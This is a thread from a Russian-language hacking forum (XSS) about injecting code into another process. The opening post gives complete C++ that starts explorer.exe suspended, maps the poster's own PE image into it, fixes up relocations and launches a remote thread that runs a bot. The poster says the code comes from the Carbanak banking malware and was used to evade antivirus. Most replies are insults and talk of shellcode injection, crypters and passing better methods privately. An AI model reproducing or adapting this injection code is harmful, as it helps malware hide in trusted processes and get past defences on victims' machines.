• XSS.stack #1 – первый литературный журнал от юзеров форума

Запускаем часть своего кода С++ в другом процессе

Crypto Locker

(L3) cache
Забанен
Регистрация
22.10.2019
Сообщения
177
Реакции
116
Пожалуйста, обратите внимание, что пользователь заблокирован
Код не мой, просто резко появилось желание наплодить индусов. Удачи в копипасте всем, кто
за этим пришёл.
C++:
DWORD WINAPI injectedCode() {
    const char* libList[] = { "shlwapi.dll", "mpr.dll", "netapi32.dll", "Gdiplus.dll", "wininet.dll", "kernel32.dll", "ws2_32.dll", "Gdi32.dll", "Ole32.dll", "Iphlpapi.dll" };
    for(int i = 0; i < _countof(libList); i++){
        LoadLibraryA((char*)libList[i]);
    }
    runBot();
    return 0;
}

void ProcessRelocs(PIMAGE_BASE_RELOCATION reloc, SIZE_T imageBase, SIZE_T delta, DWORD relocSize)
{
    if (relocSize <= 0) return;
    while (reloc->SizeOfBlock > 0)
    {
        SIZE_T va = imageBase + reloc->VirtualAddress;
        unsigned short* relInfo = (unsigned short*)((byte*)reloc + IMAGE_SIZEOF_BASE_RELOCATION);

        for (DWORD i = 0; i < (reloc->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2; i++, relInfo++)
        {
            int type = *relInfo >> 12;
            int offset = *relInfo & 0xfff;

            switch (type)
            {
            case IMAGE_REL_BASED_ABSOLUTE:
                break;
            case IMAGE_REL_BASED_HIGHLOW:
            case IMAGE_REL_BASED_DIR64:
                *((SIZE_T*)(va + offset)) += delta;
                break;
            }
        }
        reloc = (PIMAGE_BASE_RELOCATION)(((SIZE_T)reloc) + reloc->SizeOfBlock);
    }
}

HMODULE GetImageBase(void* funcAddr)
{
    SIZE_T addr = (funcAddr) ? (SIZE_T)funcAddr : (SIZE_T)&GetImageBase;
    addr &= ~0xffff;
    for (;;)
    {
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)addr;
        if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
        {
            if (dosHeader->e_lfanew < 0x1000)
            {
                PIMAGE_NT_HEADERS header = (PIMAGE_NT_HEADERS)&((byte*)addr)[dosHeader->e_lfanew];
                if (header->Signature == IMAGE_NT_SIGNATURE)
                    break;
            }
        }
        addr -= 0x10000;
    }
    return (HMODULE)addr;
}

inline PIMAGE_OPTIONAL_HEADER GetOptionalHeader(HMODULE imageBase)
{
    return (PIMAGE_OPTIONAL_HEADER)((LPVOID)((SIZE_T)imageBase + ((PIMAGE_DOS_HEADER)(imageBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)));
}


SIZE_T InjectCode(HANDLE hprocess, typeFuncThread startFunc, HMODULE* newBaseImage)
{
    HMODULE imageBase = GetImageBase(startFunc);
    DWORD sizeOfImage = GetOptionalHeader(imageBase)->SizeOfImage;

    HANDLE hmap = CreateFileMappingA((HANDLE)-1, nullptr, PAGE_EXECUTE_READWRITE, 0, sizeOfImage, nullptr);

    void* view = MapViewOfFile(hmap, FILE_MAP_WRITE, 0, 0, 0);
    if (!view)    return false;

    memcpy(view, (void*)imageBase, sizeOfImage);

    SIZE_T viewSize = 0;
    SIZE_T newBaseAddr = 0;
    SIZE_T addr = 0;

    NTSTATUS status = ZwMapViewOfSection(hmap, hprocess, (PVOID*)&newBaseAddr, 0, sizeOfImage, nullptr, &viewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE);

    if (status == 0)
    {
        PIMAGE_DOS_HEADER pdh = (PIMAGE_DOS_HEADER)imageBase;
        PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS)((byte*)pdh + pdh->e_lfanew);

        ULONG relRVA = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
        ULONG relSize = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
        ProcessRelocs((PIMAGE_BASE_RELOCATION)((SIZE_T)imageBase + relRVA), (SIZE_T)view, newBaseAddr - (SIZE_T)imageBase, relSize);

        addr = (SIZE_T)startFunc - (SIZE_T)imageBase + newBaseAddr;
    }
    if (newBaseImage) *newBaseImage = (HMODULE)newBaseAddr;
    UnmapViewOfFile(view);
    CloseHandle(hmap);

    return addr;
}

BOOL RunInjectCode(HANDLE hProc, HANDLE hthread, typeFuncThread startFunc, typeInjectCode func)
{
    unsigned int addr = func(hProc, startFunc, 0);
    if (addr == 0) return false;
    DWORD id;
    HANDLE hThread2 = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, &id);
    if (hThread2)
    {
        return 1;
    }
    else
    {
        HANDLE hthread;
        CLIENT_ID cid;
        if (RtlCreateUserThread(hProc, nullptr, FALSE, 0, 0, 0, (void*)addr, 0, &hthread, &cid) == 0)
        {
            CloseHandle(hthread);
            return 1;
        }
    }
    return 0;
}

DWORD ExecVA(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, va_list va)
{
    DWORD ret = 0;
    if (exitCode) *exitCode = 0;
    if (hprocess) *hprocess = 0;
    if (hthread) *hthread = 0;

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(STARTUPINFOA));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    si.cb = sizeof(si);

    BOOL res = FALSE;
    if (!res)
    {
        res = CreateProcessA(0, (CHAR*)cmd, 0, 0, FALSE, options, 0, 0, &si, &pi);
    }
    if (res)
    {
        if (wait > 0)
        {
            if (WaitForSingleObject(pi.hProcess, wait) == WAIT_OBJECT_0)
            {
                if (exitCode)
                {
                    GetExitCodeProcess(pi.hProcess, exitCode);
                }
                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
                pi.hThread = 0;
                pi.hProcess = 0;
                ret = pi.dwProcessId;
            }
        }
        else
            ret = pi.dwProcessId;

        if (hthread)
            *hthread = pi.hThread;
        else
            CloseHandle(pi.hThread);

        if (hprocess)
            *hprocess = pi.hProcess;
        else
            CloseHandle(pi.hProcess);

    }
    return ret;
}

DWORD Exec(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, ...)
{
    va_list va;
    va_start(va, cmd);
    return ExecVA(options, hprocess, hthread, exitCode, wait, cmd, va);
}

BOOL RunExplorer(HANDLE* hprocess, HANDLE* hthread)
{
    return Exec(CREATE_SUSPENDED, hprocess, hthread, 0, 0, "explorer.exe") != 0;
}

int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    HANDLE hprocess, hthread;
    memset((void*)&hprocess, 0, 2048);    
    memset((void*)&hthread, 0, 2048);
    if (RunExplorer(&hprocess, &hthread))
    {
        RunInjectCode(hprocess, hthread, (typeFuncThread)injectedCode, InjectCode);
    }
    ExitProcess(0);
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Очередная нубовариация инжекта на тему удалённых потоков. ТС, ты серьёзно считаешь, что это кто-то будет копипастить? :smile12:
P.S Код вообще пиздец.
 
Удачи в копипасте всем, кто
за этим пришёл.
Код так себе) Но я поставлю лайк.
 
Последнее редактирование:
Очередная нубовариация инжекта на тему удалённых потоков. ТС, ты серьёзно считаешь, что это кто-то будет копипастить? :smile12:
P.S Код вообще пиздец.
Предложите лучше)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Предложите лучше)
Предлагаю. Модификация памяти уже существующего процесса на лету, приводящая к выполнению шеллкода.
 
Предлагаю. Модификация памяти уже существующего процесса на лету, приводящая к выполнению шеллкода.
Зачем шел кода? Если мне допустим надо выполнить самоудаление или пропись в автозагрузку мне для этого надо шелл открывать?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем шел кода? Если мне допустим надо выполнить самоудаление или пропись в автозагрузку мне для этого надо шелл открывать? А не просто выполнить часть кода в памяти другова процесса?
Чел, не позорься. Если ты не понимаешь, о чём я говорю, я даже боюсь представить, какой у тебя крипт. Причём самоудаление и автозагрузка тут вообще?
 
Чел, не позорься. Если ты не понимаешь, о чём я говорю, я даже боюсь представить, какой у тебя крипт. Причём самоудаление и автозагрузка тут вообще?
Потому-что данный метод я в некотых своих софтах применял для обхода динамического детекта ав. И тут я узнаю что оказывыеться способ говно код говно а надо шелл коды выполнять. И не надо примешывать судя крипт все-таки он не имеет отношения к теме нашего разговора.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Потому-что данный метод я в некотых своих софтах применял для обхода динамического детекта ав. И тут я узнаю что оказывыеться способ говно код говно а надо шелл коды выполнять. И не надо примешывать судя крипт все-таки он не имеет отношения к теме нашего разговора.
Слушай, ты из прошлого к нам попал? Ты в 2000 году его использовал? Тогда да, я тебе верю. Ты даже не знаешь, что такое шеллкод. По разговору с тобой видно твой уровень, следовательно качество представляемых тобой услуг тоже видно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Слушай, ты из прошлого к нам попал? Ты в 2000 году его использовал? Тогда да, я тебе верю. Ты даже не знаешь, что такое шеллкод. По разговору с тобой видно твой уровень, следовательно качество представляемых тобой услуг тоже видно.
Мистер, вы некорректно поставили своё предложение. Способ инжекта который считается говном не существует, существуют только актуальные и не актуальные методы инжекта, по тому предложению которое написали, видно что вы не дальновидный и очень обиженный судьбою человек.
И вы в серьёз думаете что кто-то станет сливать в паблик актуальный метод инжекта? P.S. Этот код из Carbanak, эти парни взломали кучу банков, так
что ещё раз подумайте прежде чем писать в тему такую ересь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мистер, вы некорректно поставили своё предложение. Способ инжекта который считается говном не существует, существуют только актуальные и не актуальные методы инжекта, по тому предложению которое написали, видно что вы не дальновидный и очень обиженный судьбою человек.
И вы в серьёз думаете что кто-то станет сливать в паблик актуальный метод инжекта? P.S. Этот код из Carbanak, эти парни взломали кучу банков, так
что ещё раз подумайте прежде чем писать в тему такую ересь.
Ты теперь и на "вы" со мной перешёл, я творю чудеса! По предложению, которое я написал - видно, что твои сообщения неплохо меня развлекают, мне смешно. Если ты не понимаешь моей иронии - мне тебя жаль. Я слил. Выше. Если хватит ума реализовать - молодец. Но его у тебя, видимо, не хватит. Из карбанак? Офигеть! Тебя не смущает то, что этому коду лет 7 как минимум? Не пиши того, в чём не разбираешься, плиз. ПрофессЕонал, блин.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ты теперь и на "вы" со мной перешёл, я творю чудеса! По предложению, которое я написал - видно, что твои сообщения неплохо меня развлекают, мне смешно. Если ты не понимаешь моей иронии - мне тебя жаль. Я слил. Выше. Если хватит ума реализовать - молодец. Но его у тебя, видимо, не хватит. Из карбанак? Офигеть! Тебя не смущает то, что этому коду лет 7 как минимум? Не пиши того, в чём не разбираешься, плиз. ПрофессЕонал, блин.
И в чём ирония тогда уж? И что ты там слил? Инжект шеллкода в процесс, вау! Какая уникальность! Миллионы твои!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И в чём ирония тогда уж? И что ты там слил? Инжект шеллкода в процесс, вау! Какая уникальность! Миллионы твои!
В моём предложении, блин. Ты меня веселишь. Немного теории, позволяющей запилить годный инжект. Да, инжект шеллкода в процесс, подсказка интересующимся лицам. Или есть варианты получше? Давай уж подискутируем тогда на эту тему, как ты видишь эту ситуацию?
 
@Umbrella выложи пример "своего" кода, тогда спор дествительно пойдёт в нужное русло. Только не говори что в паблике такое светить не будешь)))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
@Umbrella выложи пример "своего" кода, тогда спор дествительно пойдёт в нужное русло. Только не говори что в паблике такое светить не будешь)))
Нет желания выдавать детям подобное, убьют же сразу. Если интересно, могу тебе дать метод под хайд. Метод реально простой, менее 200 строк кода, человек с умом уже даже понял, что пропатчить нужно.) Криптолокер позиционирует себя, как профессионала, мне уж очень интересна его точка зрения. Может быть, потом напишу статью по этой теме, если в этом топике ни к чему интересному не прийдём!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Нет желания выдавать детям подобное, убьют же сразу. Если интересно, могу тебе дать метод под хайд. Метод реально простой, менее 200 строк кода, человек с умом уже даже понял, что пропатчить нужно.) Криптолокер позиционирует себя, как профессионала, мне уж очень интересна его точка зрения. Может быть, потом напишу статью по этой теме, если в этом топике ни к чему интересному не прийдём!
Ну пиши статью, потом поговорим. А то так получается игра в одни ворота.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну пиши статью, потом поговорим. А то так получается игра в одни ворота.
Я то напишу. Но по твоему, как должен выглядеть нормальный инжект?
 
Нет желания выдавать детям подобное, убьют же сразу. Если интересно, могу тебе дать метод под хайд.
Ну я бы тоже посмотрел, если не сложно. От меня в паблик не уйдёт...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх